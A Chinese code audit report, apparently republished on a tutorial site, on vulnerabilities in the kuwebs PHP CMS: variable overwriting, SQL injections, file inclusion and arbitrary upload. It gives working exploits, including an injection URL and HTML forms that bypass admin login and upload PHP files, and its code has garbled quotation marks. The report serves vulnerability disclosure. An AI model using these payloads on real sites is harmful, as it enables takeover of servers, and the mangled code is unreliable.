好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

kuwebs代码审计报告各种鸡肋漏洞打包与修复 - 网

先来个介绍:

酷纬企业网站管理系统是酷纬信息 ( www.kuwebs.com) 开发的为企业网站提供一揽子解决方案的营销型网站系统,后台采用 PHP+Mysql 架构,内置企业简介模块、新闻模块、产品模块、图片模块、下载模块、在线留言模块、常见问题模块、友情链接模块。前台采用 DIV+CSS ,遵循 SEO 标准,通过模板或者定制为企业提供专业的营销型网站。

 

19 万。。。

 

 

代码审计推荐工具:Seay PHP 代码审计工具 2012 终结版

下载地址:http://www.2cto.com/soft/201211/35390.html

 

作者: Seay

博客:http://www.cnseay.com/

 

本文及EXP下载: http://www.cnseay.com/wp-content/uploads/2012/12/kuwebs代码审计报告 漏洞 打包与修复.rar

部分漏洞列表:

一、变量覆盖漏洞

二、发表留言处盲注

三、在线应聘处盲注

四、getIP()函数鸡肋注入

五、文件包含漏洞

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

七、任意文件上传漏洞

八、在线反馈注入漏洞

无限注入。。。

任意文件删除。。。

任意文件 下载 。。。

无限。。。。

 

 

一、变量覆盖漏洞

看首页文件 index.php 一开始就包含 ‘inc/common.inc.php’ 跟进去看看。

 

<?php

require_once ’inc/common.inc.php’; // 加载系统公共函数和系统的前台配置文件

 

if(2 == $kuWebsiteHTMLStartType)

{

//echo $kuHttpPath.’index_’.$kuWebsiteDefauleIndexLanguage.$kuWebsiteTempHTMLType;

$content = @file_get_contents($kuHttpPath.’index_’.$lang.transferHTMLType($kuWebsiteHTMLType));

if(!empty($content))

{

echo $content;

exit;

}

}

 

 

‘inc/common.inc.php’ 和 admin\inc\common.inc.php看到了一段经典代码,变量覆盖

 

$_POST = filterChar($_POST);

$_GET = filterChar($_GET);

$_COOKIE = filterChar($_COOKIE);

 

if(!ini_get(‘register_globals’))

{

@extract($_COOKIE, EXTR_SKIP);

@extract($_FILES, EXTR_SKIP);

}

 

 

foreach(array(‘_COOKIE’, ’_POST’, ’_GET’) as $_request)

{

foreach($$_request as $_key => $_value)

{

$key{0} != ’_' && $$_key = daddslashes($_value);

}

}

 

 

修复:不要懒着定义变量,想省点事注册变量就把这段代码丢前面一点

 

二、发表留言处盲注

message/add.php 文件

 

<?php

require_once ’inc/common.inc.php’;

$kuMessageBackSendUrl = $kuHttpPath.]message/index.php?lang={$kuWebsiteCurrLanguage}&menuid={$menuid}&page=1″;

 

 

$strSql = ]select id, menutitle from {$configTableHead}menu where fatherid={$menuid} and lang=’{$kuWebsiteEditVersionLanguage}’;];

$result = $dbInstance->query($strSql);

while($row = $dbInstance->fetchArray($result))

{

$secondMenuNav[] = $row;

}

 

 

$menuid 无单引号压力。

 

修复:单引号

 

 

三、在线应聘处盲注

/job/resume.php 文件 第 40 行

 

$arrMenuInfo = getMenuIdInfo($menuid);

$topMenuId = ];

if(count($kuMenuList[$kuProductShow['type3']]))$topMenuId = $arrMenuInfo['type3'];

else if(count($kuMenuList[$kuProductShow['type2']]))$topMenuId = $arrMenuInfo['type2'];

else if(count($kuMenuList[$kuProductShow['type1']]))$topMenuId = $arrMenuInfo['type1'];

 

 

getMenuIdInfo($menuid) 我们跟进看一下

在 \inc\commonfunc.inc.php 文件 435 行

 

function getMenuIdInfo($id)

{

if(] == $id || 0 > $id)return;

global $configTableHead, $kuWebsiteCurrLanguage, $dbInstance;

$strSql = ]select id, fatherid from {$configTableHead}menu where id={$id};];

$row1 = $dbInstance->getOne($strSql);

 

 

看到带入了 数据库 ,同样的无单引号压力注入

 

修复:单引号

 

 

五、getIP()函数鸡肋注入

 

\inc\commonfunc.inc.php 文件和 admin/inc/commonfunc.inc.php

 

function getIP()

{

if (getenv([HTTP_CLIENT_IP]) && strcasecmp(getenv([HTTP_CLIENT_IP]), ]unknown])) {$ip = getenv([HTTP_CLIENT_IP]);}

else if (getenv([HTTP_X_FORWARDED_FOR]) && strcasecmp(getenv([HTTP_X_FORWARDED_FOR]), ]unknown])) {$ip = getenv([HTTP_X_FORWARDED_FOR]); }

else if (getenv([REMOTE_ADDR]) && strcasecmp(getenv([REMOTE_ADDR]), ]unknown])) {$ip = getenv([REMOTE_ADDR]); }

else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], ]unknown])){$ip = $_SERVER['REMOTE_ADDR']; }

else {$ip = ]unknown]; }

return($ip);

}

 

经常出现的一个问题,木有过滤,无视GPC , HTTP_CLIENT_IP我们可控,导致注入,蛋疼这个函数只在后台调用了几次。登陆处有调用,但是木用。

 

 

修复:验证IP 地址格式

 

五、文件包含漏洞

在 admin//index.php 文件

 

<?php

session_start(); // 开启 session

require_once(‘inc/common.inc.php’);

if(!empty($menu) && !empty($path)) // 入口参数的判定

{

if(‘php’ == fileExt($menu)) // 判断 menu 是否 PHP 文件

{

include_once($path.’/’.$menu);

}

else

{

include_once($path.’/’.$menu.’.inc.php’);

}

exit;

}

include_once(‘inc/logincheck.php’); // 管理员登陆模块的加载

include_once(‘template/’.$adminTemplateName.’/index.html’); // 加载后台 index.html 静态页面

?>

 

 

接收到参数,包含了再判断有木有登陆,晚了,结合它的变量覆盖, $menu 和 $path 我们都可控,直接包含。

修复:敢不敢别这么包含文件

 

六、变量覆盖,注入满天飞之后台绕过登陆多种方法

绕过登陆一、

我们先看他的验证登陆的文件 admin/inc/ logincheck.php

<?php

session_start();

require_once(‘common.inc.php’);

$adminId = $_SESSION['adminid'];

$adminUser = $_SESSION['adminuser'];

$adminPassword = $_SESSION['adminpassword'];

 

 

$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’{$adminUser}’ and adminpassword = ’{$adminPassword}’;];

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptNonLogin, $configJumpTime);

exit;

}

 

?>

 

 

$configTableHead 变量我们可覆盖哦,有问题,直接覆盖注入

EXP:

http://www.cnseay.com/admin1/left.php?lang=cn&configTableHead=kuwebs_admin limit 1%23 seay

 

 

 

绕过登陆二、

 

我们再看看登陆的文件 Admin/login/login_action.inc.php 文件 104 行 $c onfigTableHead 变量

 

else if([] == $action)

{

$userName = trim($_POST['username']);

$password = $_POST['pass'];

$checkCode = trim($_POST['checkCode']);

if(empty($checkCode) || $_SESSION["code"] != $checkCode)

{

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptEmptyCheckCode, $configJumpTime, $adminHttpImgPath, $kuLanguage);

exit;

}

if(1 > strlen($userName) || 1 > strlen($password))

{

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptEmptyLogin, $configJumpTime);

exit;

}

$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);

$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;];

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginFail, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = $row['id'];

$_SESSION['adminuser'] = $row['adminuser'];

$_SESSION['adminpassword'] = $row['adminpassword'];

if($configIsLog)CommTool::writeLog([]);

if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system]);

$adminmodifyip = getIP();

$strSql = ]update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}];

if($dbInstance->query($strSql))

{

promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = ];

$_SESSION['adminuser'] = ];

$_SESSION['adminpassword'] = ];

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginUpdateFail, $configJumpTime);

exit;

}

}

 

 

很明显的, 本来 我们可以利用前面的变量覆盖来覆盖$configTableHead再注入,绕过登陆,

蛋疼的后面

$strSql = ]update {$configTableHead}admin set regtime=’{$nowTime}’, adminmodifyip=’{$adminmodifyip}’ where id={$_SESSION['adminid']}];

if($dbInstance->query($strSql))

{

promptMessage($adminHttpPath.’index.php’, $promptLoginSuccess, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = ];

$_SESSION['adminuser'] = ];

$_SESSION['adminpassword'] = ];

 

 

记录管理登陆日志,这个不跟前面的注入复合,又回滚了session ,原本登陆了就又消失了。

 

 

不过我们往上看一点。第 16 行开始

else if([relogin] == $action)

{

$oldAdminUser = $_SESSION['adminuser'];

$_SESSION['adminid'] = ]";

$_SESSION['adminuser'] = ]";

$_SESSION['adminpassword'] = ]";

$userName = trim($_POST['username']);

$password = $_POST['pass'];

if($configIsLog)CommTool::writeLog([$oldAdminUser Exit. Change into $userName to login]);

if(1 > strlen($userName) || 1 > strlen($password))

{

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptNonLogin, $configJumpTime);

exit;

}

$userPassword = CommTool::encryptMd5($password, $configEncryptTimes);

$strSql = ]select id, adminuser, adminpassword from {$configTableHead}admin where adminuser = ’$userName’ and adminpassword = ’$userPassword’;];

$row = $dbInstance->getOne($strSql);

if(1 > $row['id'])

{

if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system failed]);

promptMessage([index.php?lang={$kuWebsiteEditVersionLanguage}&path=login&menu=login], $promptLoginFail, $configJumpTime);

exit;

}

else

{

$_SESSION['adminid'] = $row['id'];

$_SESSION['adminuser'] = $row['adminuser'];

$_SESSION['adminpassword'] = $row['adminpassword'];

if($configIsLog)CommTool::writeLog([{$_SESSION['adminuser']} login to system Success]);

promptMessage([index.php], $promptLoginSuccess, $configJumpTime);

exit;

}

 

 

很明显,这里没有回滚session ,那我们就可以覆盖 $configTableHead变量来注入绕过登陆了

 

EXP :

 

<html>

<head>

<title>www.cnseay.com</title>

</head>

<body>

<form name=]form1″ method=]post] action=]http://www.cnseay.com/admin1/index.php?lang=cn&path=login&menu=login_action&action=relogin]>

<input name=]username] type=]hidden] value=]admin] />

<input name=]pass] type=]hidden] value=]admin] />

<input name=]configTableHead] type=]hidden] value=]kuwebs_admin limit 1# 1″ />

<input type=]submit] value=] 登 陆 [>

</form>

</body>

</html>

 

 

把 www.cnseay.com /admin1修改成网站后台地址,点击登陆即可。

当然绕过的方法不止这些,还有比如覆盖数据库连接字符的等等。

 

修复:不多说。。。

 

 

八、任意文件上传漏洞

 

像这种变量覆盖的,基本都有任意文件上传。

看到 admin/ uploadfilesave.php 文件木有验证登陆权限,再看 72 行

$downloadurl=upload(‘imgurl’, $kuWebsiteAllowUploadFileFormat);

 

看看upload函数

function upload($form, $fileFormat)

{

global $promptIncludeDirUploadFileCanNotWrite, $promptIncludeDirCorrectUploadFileFormat, $promptIncludeDirCopyUploadFileError;

if (is_array($form))

{

$filear = $form;

}

else

{

$filear = $_FILES[$form];

}

/.. 省略 ./

if ($fileFormat != ]" && !in_array(strtolower($ext), explode([|], strtolower($fileFormat))))

 

可见我们只要覆盖$kuWebsiteAllowUploadFileFormat 变量即可上传任意文件。

 

直接给出 EXP :

<form name=]form1″ enctype=]multipart/form-data] method=]post] action=]http://www.cnseay.com/admin/include/uploadfilesave.php?action=add]>

<input type=]file] name=]imgurl]>

<input type=]hidden] name=]kuWebsiteAllowUploadFileFormat] value=]php| asp |aspx]>

<input type=]submit] name=]Submit] value=] 日 [>

</form>

 

修复:不多说。。。

 

 

八、在线反馈注入漏洞

看到文件plus/feedback.php 105 行

$strSql = ]select * from {$configTableHead}{$fType} where id={$objectid}];

同样无单引号压力

测试:

 

无限注入:

这种注入还有不少,比如 admin/menu/ menu_modify.inc.php文件等

$strFather = ]select * from {$configTableHead}menu where id={$fatherId};];

就不列那么多了。

 

修复 :单引号。。。

 

 

变量覆盖是个大问题啊,容易导致二次利用的漏洞,上面说的任意文件删除什么的,自己到后台黑盒看看就知道了。

 

暂时先看到这里了,问题太多,等修复了再看看吧。

查看更多关于kuwebs代码审计报告各种鸡肋漏洞打包与修复 - 网的详细内容...

  阅读:42次